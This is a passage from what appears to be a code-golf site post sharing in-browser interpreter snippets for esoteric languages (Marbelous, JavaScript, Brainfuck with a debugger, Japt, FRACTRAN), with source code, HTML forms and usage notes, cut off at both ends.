5, SUBROUTINE: 6, LITERAL: 7, }; function Cell(type,value){ this.type = type; this.value = value; } Cell.prototype.copy = function(other){ this.type = other.type; this.value = other.value; }; function Board(name, js, jsref, jsinc, jsoutc){ this.name = name; this.stdout = ""; if(!js){ this.cells = []; this.marbles = []; this.cols = 0; this.rows = 0; this.inputs = []; this.outputs = []; this.syncs = []; this.portals = []; this.terminators = []; for(var i = 0; i < 36; ++i){ this.inputs[i] = []; this.outputs[i] = []; this.syncs[i] = []; this.portals[i] = []; } this.outputs[36] = []; // {< this.outputs[37] = []; // {> this.subroutines = []; // [r0,c0,board name,size,inputs,outputs] this.type = 0; this.inc = 0; this.outc = 0; }else{ this.func = jsref; this.inc = jsinc; this.outc = jsoutc; this.type = 1; } } Board.prototype.set = function(row,col,cell){ if(row >= this.rows){ for(var r = this.rows; r <= row; ++r){ this.cells[r] = []; this.marbles[r] = []; } } this.rows = Math.max(this.rows, row + 1); this.cols = Math.max(this.cols, col + 1); if(!cell){ this.cells[row][col] = null; return; } if(!this.cells[row][col]) this.cells[row][col] = new Cell; this.cells[row][col].copy(cell); if(cell.type == CTypes.LITERAL){ this.marbles[row][col] = cell.value; }else{ this.marbles[row][col] = null; } }; Board.prototype.get = function(r,c){ return this.cells[r][c]; }; Board.prototype.init = function(){ if(this.type == 0){ var maxin = 0, maxout = 0; for(var r = 0; r < this.rows; ++r){ for(var c = 0; c < this.cols; ++c){ if(this.cells[r][c] == null) continue; switch(this.cells[r][c].type){ case CTypes.PORTAL: this.portals[this.cells[r][c].value].push([r,c]); break; case CTypes.SYNCHRONISER: this.syncs[this.cells[r][c].value].push([r,c]); break; case CTypes.INPUT: this.inputs[this.cells[r][c].value].push([r,c]); maxin = Math.max(this.cells[r][c].value + 1, maxin); break; case CTypes.OUTPUT: if(this.cells[r][c].value != '<' && this.cells[r][c].value != '>'){ this.outputs[this.cells[r][c].value].push([r,c]); maxout = Math.max(this.cells[r][c].value + 1, maxout); }else{ this.outputs[this.cells[r][c].value == '<' ? 36 : 37].push([r,c]); } break; case CTypes.TERMINATE: this.terminators.push([r,c]); break; } } } this.inc = maxin; this.outc = maxout; } var namelen = Math.max(1, this.inc, this.outc) * 2; this.name = new Array(namelen + 1).join(this.name).substr(0, namelen); }; Board.prototype.validateSubr = function(names){ if(this.type == 1) return; for(var r = 0, len = this.cells.length; r < len; ++r){ var str = "", start = -1; for(var c = 0, rlen = this.cells[r].length; c < rlen; ++c){ if(this.cells[r][c] && this.cells[r][c].type == CTypes.SUBROUTINE){ if(start == -1) start = c; str += this.cells[r][c].value; }else if(start != -1){ var match; while(str.length && (match = longestMatch(str, names))){ var slen = match.length / 2; this.subroutines.push([r,start,match,slen,boards[match].inc,boards[match].outc]); start += slen; str = str.substr(slen * 2); } if(str.length){ throw "No subboard could be found near `" + str + "`"; } start = -1; str = ""; } } var match; while(str.length && (match = longestMatch(str, names))){ var slen = match.length / 2; this.subroutines.push([r,start,match,slen,boards[match].inc,boards[match].outc]); start += slen; str = str.substr(slen * 2); } if(str.length){ throw "No subboard could be found near `" + str + "`"; } } }; Board.prototype.runCopy = function(inp){ var b = new Board(''); b.type = 2; b.ref = this; b.tickNum = 0; if(this.type == 0){ for(var r = 0, rlen = this.marbles.length; r < rlen; ++r){ b.marbles[r] = []; for(var c = 0, clen = this.marbles[r].length; c < clen; ++c){ b.marbles[r][c] = this.marbles[r][c]; } } for(var i = 0; i < this.inc; ++i){ if(inp[i] != null){ var k = this.inputs[i]; for(var j = 0, l = k.length; j < l; ++j){ b.marbles[k[j][0]][k[j][1]] = ((parseInt(inp[i])&255)+256)&255; } } } b.cols = this.cols; b.rows = this.rows; b.inc = this.inc; b.outc = this.outc; b.stdout = ""; }else{ b.inp = inp; } return b; }; Board.prototype.tick = function(){ if(this.type != 2) throw "Calling Board.tick without Board.runCopy"; if(this.tickNum == -1) throw "Copied board has already run to completion"; if(this.ref.type == 1){ this.tickNum = -1; this.outp = this.ref.func(this.inp, this); return moved; } var moved = false; var new_marbles = []; for(var r = 0; r <= this.rows; ++r) new_marbles[r] = []; // subroutines for(var i = 0, len = this.ref.subroutines.length; i < len; ++i){ var r = this.ref.subroutines[i][0], c = this.ref.subroutines[i][1], name = this.ref.subroutines[i][2], sz = this.ref.subroutines[i][3], inc = this.ref.subroutines[i][4], outc = this.ref.subroutines[i][5]; var all = true, inp = []; for(var j = 0; j < inc; ++j){ if(this.marbles[r][c+j] == null && (boards[name].type == 1 || boards[name].inputs[j].length > 0)){ all = false; break; }else{ inp[j] = this.marbles[r][c+j]; } } if(all){ var cb = boards[name].runCopy(inp); while(cb.tickNum != -1 && cb.tickNum < max_tick) cb.tick(); if(cb.tickNum != -1) throw "Max tick count exceeded running board `" + name + "`"; var outp = cb.out(); if(cb.stdout != "") moved = true; for(var j = 0; j < outc; ++j){ if(outp[j] != null){ new_marbles[r+1][c+j] = ((new_marbles[r+1][c+j]||0)+(outp[j]))&255; moved = true; } } if(outp[36] != null){ // left var left = c-1; if(left < 0 && cylindrical_board){ left = this.cols - 1; } if(left >= 0){ new_marbles[r][left] = ((new_marbles[r][left]||0)+(outp[36]))&255; moved = true; } } if(outp[37] != null){ // right var right = c+sz; if(right >= this.cols && cylindrical_board){ right = 0; } if(right < this.cols){ new_marbles[r][right] = ((new_marbles[r][right]||0)+(outp[37]))&255; moved = true; } } this.stdout += cb.stdout; }else{ for(var j = 0; j < inc; ++j){ if(this.marbles[r][c+j] != null){ new_marbles[r][c+j] = ((new_marbles[r][c+j]||0)+(this.marbles[r][c+j]))&255; } } } } // synchronisers for(var i = 0; i < 36; ++i){ if(this.ref.syncs[i].length){ var all = true; for(var j = 0, len = this.ref.syncs[i].length; j < len; ++j){ if(this.marbles[this.ref.syncs[i][j][0]][this.ref.syncs[i][j][1]] == null){ all = false; break; } } if(all){ for(var j = 0, len = this.ref.syncs[i].length; j < len; ++j){ var r = this.ref.syncs[i][j][0]; var c = this.ref.syncs[i][j][1]; new_marbles[r+1][c] = this.marbles[r][c]; moved = true; } }else{ for(var j = 0, len = this.ref.syncs[i].length; j < len; ++j){ var r = this.ref.syncs[i][j][0], c = this.ref.syncs[i][j][1]; if(this.marbles[r][c] != null){ new_marbles[r][c] = ((new_marbles[r][c]||0)+( this.marbles[r][c]))&255; } } } } } // input literal null move, output does not for(var r = 0; r < this.rows; ++r){ for(var c = 0; c < this.cols; ++c){ if(this.marbles[r][c] != null){ var type = this.ref.cells[r][c] && this.ref.cells[r][c].type; if(!type || type == CTypes.INPUT || type == CTypes.LITERAL){ new_marbles[r+1][c] = ((new_marbles[r+1][c]||0)+(this.marbles[r][c]))&255; moved = true; }else if(type == CTypes.OUTPUT){ new_marbles[r][c] = ((new_marbles[r][c]||0)+(this.marbles[r][c]))&255; } } } } // shift portal for(var i = 0; i < 36; ++i){ if(this.ref.portals[i].length){ var p = this.ref.portals[i]; if(p.length == 1){ var r = p[0][0], c = p[0][1]; if(this.marbles[r][c] != null){ new_marbles[r+1][c] = ((new_marbles[r+1][c]||0)+( this.marbles[r][c]))&255; moved = true; } }else{ var q = []; for(var j = 0, l = p.length; j < l; ++j){ if(this.marbles[p[j][0]][p[j][1]] != null){ // generate output portal - any other portal except the input var toWhere = Math.floor(Math.random() * (l-1)); if(toWhere >= j) ++toWhere; var r = p[j][0], c = p[j][1]; q[toWhere] = ((q[toWhere]||0)+(this.marbles[r][c]))&255; moved = true; } } for(var j = 0, l = p.length; j < l; ++j){ if(q[j] != null){ var r = p[j][0] + 1, c = p[j][1]; new_marbles[r][c] = q[j]; } } } } } // check stdout if(new_marbles[new_marbles.length-1].length){ var r = this.rows; for(var i = 0, l = new_marbles[r].length; i < l; ++i){ if(new_marbles[r][i] != null){ putch(this, new_marbles[r][i]); moved = true; } } } new_marbles.splice(this.rows); if(!moved){ this.tickNum = -1; return moved; } this.marbles = new_marbles; // check terminator for(var i = 0, len = this.ref.terminators.length; i < len; ++i){ var r = this.ref.terminators[i][0], c = this.ref.terminators[i][1]; if(new_marbles[r][c] != null){ this.tickNum = -1; return moved; } } // check output if(this.outc){ var allOuts = true; for(var i = 0; i < 38; ++i){ var o = this.ref.outputs[i]; if(o.length){ var occupied = false; for(var j = 0, len = o.length; j < len; ++j){ if(new_marbles[o[j][0]][o[j][1]] != null){ occupied = true; break; } } if(!occupied){ allOuts = false; break; } } } if(allOuts){ this.tickNum = -1; return moved; } } ++this.tickNum; return moved; }; Board.prototype.out = function(){ if(this.type != 2) throw "Calling Board.out without Board.runCopy"; if(this.tickNum != -1) throw "Copied board hasn't run to completion yet"; if(this.ref.type == 1) return this.outp; var outp = {}; for(var i = 0; i < 38; ++i){ if(this.ref.outputs[i].length){ outp[i] = 0; var o = this.ref.outputs[i], isFilled = false; for(var j = 0, len = o.length; j < len; ++j){ var r = o[j][0], c = o[j][1]; isFilled = isFilled || this.marbles[r][c] != null; outp[i] = ((outp[i])+( this.marbles[r][c] || 0))&255; } if(!isFilled) outp[i] = null; } } return outp; }; function DrawBuffer(canvas){ this.canvas = canvas; this.ctx = this.canvas.getContext('2d'); this.ctx.fillStyle = 'rgb(0,0,0)'; this.ctx.fillRect(0, 0, 256, 256); } DrawBuffer.prototype.clear = function(){ this.ctx.fillStyle = 'rgb(0,0,0)'; this.ctx.fillRect(0, 0, 256, 256); }; DrawBuffer.prototype.set = function(x, y, r, g, b){ this.ctx.fillStyle = 'rgb(' + r + ',' + g + ',' + b + ')'; this.ctx.fillRect(x, y, 1, 1); }; DrawBuffer.prototype.get = function(x, y){ return this.ctx.getImageData(x, y, 1, 1).data.splice(0, 3); }; // spaces: is an empty cell denoted with whitespace? function parseMblSrc(src,spaces){ var lines = (':MB\n'+src).split('\n'); var sb = []; // start lines of new mb subboards for(var i = lines.length; i-- > 0;){ // strip mid-line spaces if possible if(!spaces){ lines[i] = lines[i].trim(); lines[i] = lines[i].replace(/\s/g,''); } // index of comment var o = lines[i].indexOf('#'); // remove comments if(o > 0){ lines[i] = lines[i].substr(0, o).trim(); }else if(lines[i].length == 0 || o == 0){ if(lines[i].indexOf('include') == 1){ throw "#include not supported"; } lines.splice(i, 1); } } for(var i = lines.length; i-- > 0;){ // identify subboards if(lines[i].charAt(0) == ':'){ sb.push(i); } } sb.sort(function(a,b){return a-b;}); var mbname = ''; for(var i = 0, len = sb.length; i < len; ++i){ var name = lines[sb[i]].substr(1).trim(); var board; board = new Board(name, false); var endl; if(i == len - 1) endl = lines.length; else endl = sb[i+1]; for(var j = sb[i]+1; j < endl; ++j){ var r = j - sb[i] - 1; if(lines[j].length % 2 != 0){ throw "Error near `" + lines[j] + "`"; } var cells = lines[j].match(/../g); for(var k = 0, clen = cells.length; k < clen; ++k){ var val; if(val = cells[k].match(/^@([0-9A-Z])$/)){ board.set(r, k, new Cell(CTypes.PORTAL, parseInt(val[1], 36))); }else if(val = cells[k].match(/^&([0-9A-Z])$/)){ board.set(r, k, new Cell(CTypes.SYNCHRONISER, parseInt(val[1], 36))); }else if(val = cells[k].match(/^}([0-9A-Z])$/)){ board.set(r, k, new Cell(CTypes.INPUT, parseInt(val[1], 36))); }else if(val = cells[k].match(/^{([0-9A-Z<>])$/)){ var value; if(val[1] == '<' || val[1] == '>') value = val[1]; else value = parseInt(val[1], 36); board.set(r, k, new Cell(CTypes.OUTPUT, value)); }else if(cells[k] == '!!'){ board.set(r, k, new Cell(CTypes.TERMINATE, 0)); }else if(val = cells[k].match(/^[0-9A-F]{2}$/)){ board.set(r, k, new Cell(CTypes.LITERAL, parseInt(cells[k], 16))); }else if(cells[k].match(/^[ \.]{2}$/)){ board.set(r, k, null); }else{ board.set(r, k, new Cell(CTypes.SUBROUTINE, cells[k])); } } } board.init(); if(name == 'MB') mbname = board.name; name = board.name; bnames.push(name); boards[name] = board; } // validate and connect subr for(var p in boards){ boards[p].validateSubr(bnames); } return mbname; } function run(){ // normal init stopped = false; max_tick = document.getElementById('mb-ticks').value; space_as_blank = document.getElementById('mb-spaces').checked; cylindrical_board = document.getElementById('mb-cylinder').checked; print_numbers = document.getElementById('mb-numprint').checked; libraries = document.getElementById('mb-lib').checked; gfx = document.getElementById('mb-gfx').checked; src = document.getElementById('mb-src').value; stdin = document.getElementById('mb-in').value; boards = {}; bnames = []; loadDefaultBoards(); if(gfx){ // prepare draw buffers front_buffer = new DrawBuffer(document.getElementById('mb-fb')); back_buffer = new DrawBuffer(document.getElementById('mb-bb')); }else{ if(front_buffer){ front_buffer.clear(); back_buffer.clear(); front_buffer = null; back_buffer = null; } } try{ var mb = parseMblSrc(src, space_as_blank); var rc = boards[mb].runCopy(document.getElementById('mb-args').value.split(' ')); var tmp = function(){ try{ if(stopped) throw "Board execution stopped."; else if(rc.tickNum != -1 && rc.tickNum < max_tick){ rc.tick(); document.getElementById('mb-out').value = rc.stdout; document.getElementById('mb-out').scrollTop = document.getElementById('mb-out').scrollHeight; setTimeout(tmp, 0); }else if(rc.tickNum == -1){ document.getElementById('mb-out').value = rc.stdout; document.getElementById('mb-out').scrollTop = document.getElementById('mb-out').scrollHeight; document.getElementById('mb-return').value = rc.out()[0] || 0; }else throw "Max tick count exceeded running main board."; }catch(e){ document.getElementById('mb-out').value = rc.stdout + '\n' + e; document.getElementById('mb-out').scrollTop = document.getElementById('mb-out').scrollHeight; } }; setTimeout(tmp, 0); }catch(e){ document.getElementById('mb-out').value = (rc ? rc.stdout: '') + '\n' + e; document.getElementById('mb-out').scrollTop = document.getElementById('mb-out').scrollHeight; } } function stop(){ stopped = true; } ``` ``` <div style="font-size: 12px;font-family: Helvetica, Arial, sans-serif;"> <div style="float: left;"> Marbelous Source:<br /> <textarea id="mb-src" rows="4" cols="35">48 65 6C 6C 6F 20 57 6F 72 6C 64 21</textarea><br /> Arguments: <br /> <input id="mb-args" size="33" /> <br /> STDIN: <br /> <textarea id="mb-in" rows="2" cols="35"></textarea><br /> <span style="float: left"> Max Ticks: <input id="mb-ticks" type="number" min="1" style="width: 60px" value="1000" /> </span> <span style="float: right"> <input type="button" onclick="run()" value="Run Code" style="" /> <input type="button" onclick="stop()" value="Stop" style="" /> </span> </div> <div style="float: left; margin-left: 15px;"> <div style="margin-bottom: 10px"> <input type="checkbox" id="mb-spaces" />Using spaces for blank cells<br /> <input type="checkbox" id="mb-cylinder" />Cylindrical Board<br /> <input type="checkbox" id="mb-numprint" />Display output as decimal numbers<br /> <input type="checkbox" id="mb-lib" checked="true" />Include Libraries<br /> <input type="checkbox" id="mb-gfx" />Use Draw Buffers<br /> </div> <div> STDOUT:<br /> <textarea id="mb-out" rows="3" cols="35"></textarea><br /> Return Code: <input id="mb-return" /> </div> </div> <div style="clear: both; text-align: center; width: 550px; padding-top: 10px;" id="mb-draw-buffers"> <div style="float: left; width: 256px;"> Front Buffer: <canvas style="height: 256px; width: 256px; background: black;" width="256" height="256" id="mb-fb"></canvas> </div> <div style="float: right; width: 256px;"> Back Buffer: <canvas style="height: 256px; width: 256px; background: black;" width="256" height="256" id="mb-bb"></canvas> </div> </div> </div> ``` A few simple programs to try: ### cat (prints stdin to stdout) ``` .. @0 .. 00 ]] \/ @0 /\ .. ``` ### rot13 (reads from stdin) ``` .. @0 .. 00 ]] \/ @0 /\ Rt :Rt }0 .. @0 .. }0 }0 }0 }0 }0 -W .. -W .. .. +D -D +D -D -X .. >C &3 &0 &1 &2 &3 &4 >C &1 >P &4 {0 {0 {0 {0 {0 >P &2 &0 \/ .. .. .. .. .. @0 \/ \/ .. .. .. .. .. .. ``` ### Graphical Output Demo (sets a random pixel to a random color and then flips buffer) ``` FF FF FF FF FF 00 ?? ?? ?? ?? ?? .. {} {} {} {} {} >< ``` [Answer] # JavaScript (sample answer) Interpreting JavaScript using JavaScript is somewhat useless, but this shows what your interpreter snippets should roughly behave like. Here is the bare bones version, intended for quick use in other posts: ``` BEGIN_CODE // Put JavaScript code here // it may be on multiple lines END_CODE_BEGIN_INPUT Put input here it may be on multiple lines END_INPUT <!--Interpreter code:--><script>i=document.body.innerHTML;document.body.innerHTML=''</script><script>c=i.match(/BEGIN_CODE\n([\s\S]*)\nEND_CODE_BEGIN_INPUT/);c=c&&c.length>1?c[1]:'// Error reading code. Make sure it is on the lines between BEGIN_CODE and END_CODE_BEGIN_INPUT.';i=i.match(/END_CODE_BEGIN_INPUT\n([\s\S]*)\nEND_INPUT/);i=i&&i.length>1?i[1]:'Error reading input. Make sure it is on the lines between END_CODE_BEGIN_INPUT and END_INPUT.'</script>JavaScript:<br><tt>function(x) {</tt><br><textarea id='c'rows='4'cols='60'></textarea><br><tt>}</tt><br><br>Input string (variable x):<br><textarea id='i'rows='4'cols='60'></textarea><p><input type='button'value='Run'onclick='r()'></p>Output (return value):<br><textarea id='o'rows='4'cols='60'style='background-color:#f0f0f0;'></textarea><script>document.getElementById('c').value=c;document.getElementById('i').value=i;function r(){var r,c,i;r=c=i=null;eval('var f=function(x) {'+document.getElementById('c').value+'}');document.getElementById('o').value=String(f(document.getElementById('i').value))}</script> ``` The raw [Markdown](https://stackoverflow.com/editing-help) for including this Stack Snippet in another question or answer is: ``` <!-- begin snippet: js hide: false --> <!-- language: lang-html --> BEGIN_CODE // Put JavaScript code here // it may be on multiple lines END_CODE_BEGIN_INPUT Put input here it may be on multiple lines END_INPUT <!--Interpreter code:--><script>i=document.body.innerHTML;document.body.innerHTML=''</script><script>c=i.match(/BEGIN_CODE\n([\s\S]*)\nEND_CODE_BEGIN_INPUT/);c=c&&c.length>1?c[1]:'// Error reading code. Make sure it is on the lines between BEGIN_CODE and END_CODE_BEGIN_INPUT.';i=i.match(/END_CODE_BEGIN_INPUT\n([\s\S]*)\nEND_INPUT/);i=i&&i.length>1?i[1]:'Error reading input. Make sure it is on the lines between END_CODE_BEGIN_INPUT and END_INPUT.'</script>JavaScript:<br><tt>function(x) {</tt><br><textarea id='c'rows='4'cols='60'></textarea><br><tt>}</tt><br><br>Input string (variable x):<br><textarea id='i'rows='4'cols='60'></textarea><p><input type='button'value='Run'onclick='r()'></p>Output (return value):<br><textarea id='o'rows='4'cols='60'style='background-color:#f0f0f0;'></textarea><script>document.getElementById('c').value=c;document.getElementById('i').value=i;function r(){var r,c,i;r=c=i=null;eval('var f=function(x) {'+document.getElementById('c').value+'}');document.getElementById('o').value=String(f(document.getElementById('i').value))}</script> <!-- end snippet --> ``` To use it simply copy it into a new post and put your code on the lines between `BEGIN_CODE` and `END_CODE_BEGIN_INPUT`, and your input on the lines between `END_CODE_BEGIN_INPUT` and `END_INPUT`. The interpreter will do the rest. **Note that nothing needs to be indented.** I would argue that this `BEGIN...END` technique is presently the best way we have to write these interpreters in terms of ease of future use because... * When rendered there is only one code block (the HTML one) and only one line of it is "extra". * The user writing the snippet can see exactly where to place their code and input. They don't have to search for the appropriate textarea tag. * Users reading the post can easily distinguish the code without even running the snippet. Of course when the snippet is run the code is obvious. * It only breaks when the begin/end identifiers appear on their own lines within the code or the input. But this is unlikely, and they can be changed if absolutely necessary. * It is self contained. All the code is right there. (I know this might be impossible for a larger interpreter but one of the points of Stack Snippets was to combat dead links to JSFiddle and such, so self-containedness is good.) * It could be expanded to suit any number of (text based) inputs. --- The snippet below is the non-minimized general version, complete with example and a bit more styling. ``` function example() { document.getElementById('code').value = "var lines = x.split('\\n')\nvar sum = 0\nfor (var i = 0; i < lines.length; i++) {\n var val = parseInt(lines[i])\n if (!isNaN(val)) {\n sum += val\n }\n}\nreturn sum" document.getElementById('input').value = '1\n2\n3' run() } function run() { var run = null, example = null; //shadow other globals eval('var f=function(x) {' + document.getElementById('code').value + '}') document.getElementById('output').value = String(f(document.getElementById('input').value)) } ``` ``` #output { background-color: #f0f0f0; } #run { font-size: 120%; } ``` ``` JavaScript:<br> <tt>function(x) {</tt> <br> <textarea id='code' rows='12' cols='60'></textarea> <br><tt>}</tt><br><br> Input string (variable x): <br> <textarea id='input' rows='6' cols='60'></textarea> <p><input id='run' type='button' value='Run' onclick='run()'></p> Output (return value): <br> <textarea id='output' rows='6' cols='60'></textarea> <p><a id='example' href='javascript:void(0)' onclick='example()'>Example: Sum Numbers</a></p> ``` [Answer] # Brainfuck (with basic debugger) I saw the brainfuck answer and thought: you know what would be awesome? If I could pretend I understand what brainfuck code is doing. And hence I made a basic brainfuck interpreter and debugger. The debugger is SLOW, but it works pretty well, albeit I havent implemented breakpoints as of now (on the todo list). Note: the Brainfuck "virtual machine" doesnt auto reset after running the code. Press reset manually or the tape will have the same values on it that existed at the end of the last program run. The debugger works best in full screen. ``` var mycode = "++++++++++[>+++++++>++++++++++>+++>+<<<<-]>++.>+.+++++++..+++.>++.<<+++++++++++++++.>.+++.------.--------.>+.>."; function Brainfuck() { this.cell_max = 255; this.read = function() {return 0;} this.reset(); } Brainfuck.prototype.reset = function() { this.stack = [0]; this.stackptr = 0; this.printbuffer = ""; } Brainfuck.prototype.setCode = function(code) { this.code = code; this.codeptr = 0; this.loop_map = {}; var loops = []; for(var i = 0; i < this.code.length; i++) { if(this.code[i] == '[') { loops.push(i); } else if(this.code[i] == ']') { var last = loops.pop(); this.loop_map[last] = i; this.loop_map[i] = last; } } } Brainfuck.prototype.done = function() { return !(this.codeptr < this.code.length); } Brainfuck.prototype.step = function() { switch(this.code.charAt(this.codeptr)) { case '>': if(++this.stackptr >= this.stack.length) { this.stack.push(0); } break; case '<': if(--this.stackptr < 0) { this.stackptr = this.stack.length - 1; } break; case '+': if(++this.stack[this.stackptr] > this.cell_max) { this.stack[this.stackptr] = 0; } break; case '-': if(--this.stack[this.stackptr] < 0) { this.stack[this.stackptr] = this.cell_max; } break; case '.': this.print(); break; case ',': this.stack[this.stackptr] = this.read(); break; case '[': if(this.stack[this.stackptr] == 0) { this.codeptr = this.loop_map[this.codeptr]; } break; case ']': if(this.stack[this.stackptr] != 0) { this.codeptr = this.loop_map[this.codeptr]; } break; default: } while(!this.done() && '><+-.,[]'.indexOf(this.code[++this.codeptr]) == -1); } Brainfuck.prototype.print = function() { this.printbuffer += String.fromCharCode(this.stack[this.stackptr]); } // UI File var $ = document.getElementById.bind(document); var $_ = document.createElement.bind(document); String.prototype.decodeHTML = function() { var map = {"gt":">", "lt":"<", "nbsp":""}; return this.replace(/&(#(?:x[0-9a-f]+|\d+)|[a-z]+);?/gi, function($0, $1) { if ($1[0] === "#") { return String.fromCharCode($1[1].toLowerCase() === "x" ? parseInt($1.substr(2), 16) : parseInt($1.substr(1), 10)); } else { return map.hasOwnProperty($1) ? map[$1] : $0; } }); } var bf = new Brainfuck(); var setup = function() { bf.setCode($('code').value.decodeHTML()); bf.read = function() { var stdin = $('stdin').value; if(bf.read.index < stdin.length) { return stdin[bf.read.index++].charCodeAt(0); } return 0; } bf.read.index = 0; } var run = function() { setup(); var stdout = $('stdout'); var func = function() { for(var i = 0; i < 500000 && !bf.done(); i++) { bf.step(); } stdout.innerHTML = bf.printbuffer; setTimeout(func, 0); }; func(); } var debug = function() { $('debug-area').style.display = 'block'; setup(); var running = $('running-code'); for(var i = 0; i < bf.code.length; i++) { var s = $_('span'); s.innerHTML = bf.code[i]; s.style.fontFamily = "Courier"; running.appendChild(s); } running.children[bf.codeptr].setAttribute('class', 'selected'); genStackTable(); } var genStackTable = function() { var stable = $('stack-table'); var head = stable.createTHead(); var row = head.insertRow(0); row.insertCell(0).innerHTML = 'ptr'; row.insertCell(1).innerHTML = 'addr'; row.insertCell(2).innerHTML = 'value'; row.insertCell(3).innerHTML = 'ASCII'; var setStackVal = function(i, num, ascii, changed) { return changed === num ? function() { ascii.value = String.fromCharCode(num.value); bf.stack[i] = num.value; } : function() { num.value = ascii.value.charCodeAt(0); bf.stack[i] = num.value; } } for(var i in bf.stack) { row = stable.insertRow(); row.insertCell(0).innerHTML = i == bf.stackptr ? '>' : ''; row.insertCell(1).innerHTML = i; var cell = row.insertCell(2); var numinput = $_('input'); numinput.type = 'number'; numinput.value = bf.stack[i]; cell.appendChild(numinput); cell = row.insertCell(3); var asciiinput = $_('input'); asciiinput.type = 'text'; asciiinput.value = String.fromCharCode(bf.stack[i]); asciiinput.setAttribute('maxlength', 1); cell.appendChild(asciiinput); numinput.oninput = setStackVal(i, numinput, asciiinput, numinput); asciiinput.oninput = setStackVal(i, numinput, asciiinput, asciiinput); } } var debugRun = function() { debugRun.pause = false; var func = function() { step(); if(!bf.done() && !debugRun.pause) { setTimeout(func, $('step-duration').value); } } func(); } var debugPause = function() { debugRun.pause = true; } var step = function() { var running = $('running-code'); running.children[bf.codeptr].setAttribute('class', ''); bf.step(); $('stack-table').innerHTML = ''; genStackTable(); if(!bf.done()) { running.children[bf.codeptr].setAttribute('class', 'selected'); } $('stdout').innerHTML = bf.printbuffer; } var reset = function() { bf.reset(); bf.read.index = 0; $('stdout').innerHTML = ''; $('running-code').innerHTML = ''; $('stack-table').innerHTML = ''; $('debug-area').style.display = 'none'; } var setStackSize = function() { var sel = $('stackSize'); bf.cell_max = parseInt(sel.options[sel.selectedIndex].value); } $('code').value = mycode; ``` ``` input { box-sizing:border-box; -moz-box-sizing:border-box; } div.textarea { -moz-appearance: textfield-multiline; -webkit-appearance: textarea; border: 1px solid gray; font: -webkit-small-control; font-family:Courier; height: 28px; overflow: auto; padding: 2px; resize: both; width: 200px; white-space:pre; } #debug-area { display:none; } span.selected { background-color:red; } ``` ``` <div> <h1>Brainfuck</h1> <div> <div>Code</div> <textarea id="code"></textarea> </div> <div> <div>Stdin</div> <textarea id="stdin"></textarea> </div> <div> <div>Stdout</div> <div id="stdout" class="textarea"></div> </div> <div> <span>Cell Size</span> <select id="stackSize" onchange="setStackSize()"> <option value="255">8-bit</option> <option value="65535">16-bit</option> <option value="4294967296">32-bit</option> </select> </div> <div> <button id="run" onclick="run()">Run</button> <button id="debug" onclick="debug()">Debug</button> <button id="reset" onclick="reset()">Reset</button> </div> <div id="debug-area"> <h2>Debug</h2> <div> <button onclick="debugRun()">Run</button> <button onclick="debugPause()">Pause</button> <span>Time between instructions</span> <input id="step-duration" type="number" value=5 /> <br/> <button onclick="step()">Step</button> </div> <div> <h3>Executing Code</h3> <div id="running-code"></div> </div> <div id="stack"> <h3>Stack</h3> <table id="stack-table"></table> </div> </div> </div> ``` ## TODO: * add breakpoints * add range check to stack changing * progress indicator * make it look better * add rewind for debugging * change stdin to some sort of stream? * golf code a bit * ? ## Usage: To use in a snippet somewhere on the site, change the first line of the snippet to include your code as "mycode". To run code without debugger, simply press run. It buffers output for half a million instructions before updating stdout. To debug, start by pressing the debug button. The step button will step to the next instruction. The run button will run the entire program, but one step at a time, updating the stack table every step (which is why this is so slow). The time between instructions is determined by the input box with that name. The pause button pauses execution of the code. It can be resumed by pressing Run again. All the values on the stack can be changed live to whatever you want. Be careful though, it doesnt range check if you change the integer value in the cell, so if you put in 300 with an 8-bit stack size, it doesnt really care and wont correct it until the next time it increments. [Answer] # [Japt](https://github.com/ETHproductions/Japt) **Japt** (**Ja**vascri**pt** shortened) is a language I designed in September 2015. Due to being ~~lazy~~ busy, I didn't create an interpreter until early November. You can find the official interpreter and docs [here](http://ethproductions.github.io/japt). **Note:** If you have any questions, suggestions, or bug reports, please post them in the [Japt chatroom](http://chat.stackexchange.com/rooms/34018/japt). ``` * { font-size:12px; font-family: Verdana, Geneva, sans-serif; } textarea { overflow: scroll; overflow-x: hidden; width: 90%; } table { float: left; margin-right: 6px; } table, th, td { border: 1px solid lightgrey; border-collapse: collapse; padding: 3px; } .mono { font-family: Fira Mono, Consolas, DejaVu Sans Mono, Inconsolata, Courier New, monospace; font-size: 10p; } #stderr { color: red; } ``` ``` <script src="https://rawgit.com/ETHproductions/Japt/master/dependencies/shoco.js"></script> <script src="https://rawgit.com/ETHproductions/Japt/master/src/japt-interpreter.js"></script> Code:<br> <textarea id="code" class="mono" rows="6">[U,V*Wg0 ,Wg1]qS</textarea><br> Input:<br> <textarea id="input" class="mono" rows="2">"abc" 13 [9 "zyx"]</textarea> <!-- <p>Timeout: <input id="timeout" type="checkbox" checked="checked"></p> --> <p> <input id="run" type="button" value="Run" onclick="Japt.run(document.getElementById('code').value, document.getElementById('input').value, false, null, function(x){Japt.output(x)}, function(x){Japt.error(x)})"> <input id="stop" type="button" value="Stop" onclick="Japt.stop()"> <input id="clear" type="button" value="Clear" onclick="Japt.clear_output()"> <span id="stderr"></span> </p> Output:<br> <textarea id="output" class="mono" rows="6" readonly></textarea> <p id="stderr"></p> <script> Japt.stdout = document.getElementById("output"); Japt.stderr = document.getElementById("stderr"); </script> ``` Fun fact: this was originally the main interpreter (and in fact the *only* interpreter). You can see this if you look through the [revision history](https://codegolf.stackexchange.com/posts/62685/revisions). [Answer] # [FRACTRAN](https://en.wikipedia.org/wiki/FRACTRAN) An semi-optimised interpreter for my favourite esoteric language! Unfortunately I don't have much time this week, so additional features will have to come later. ``` var ITERS_PER_SEC = 100000 var TIMEOUT_MILLISECS = 5000 var ERROR_INPUT = "Invalid input" var ERROR_PARSE = "Parse error: " var ERROR_TIMEOUT = "Timeout" var ERROR_INTERRUPT = "Interrupted by user" var running, instructions, registers, timeout, start_time, iterations; function clear_output() { document.getElementById("output").value = "" document.getElementById("stderr").innerHTML = "" } function stop() { running = false document.getElementById("run").disabled = false document.getElementById("stop").disabled = true document.getElementById("clear").disabled = false } function interrupt() { error(ERROR_INTERRUPT) } function error(msg) { document.getElementById("stderr").innerHTML = msg stop() } function factorise(n) { var factorisation = {} var divisor = 2 while (n > 1) { if (n % divisor == 0) { var power = 0 while (n % divisor == 0) { n /= divisor power += 1 } if (power != 0) { factorisation[divisor] = power } } divisor += 1 } return factorisation } function fact_accumulate(fact1, fact2) { for (var reg in fact2) { if (reg in fact1) { fact1[reg] += fact2[reg] } else { fact1[reg] = fact2[reg] } } return fact1 } function exp_to_fact(expression) { expression = 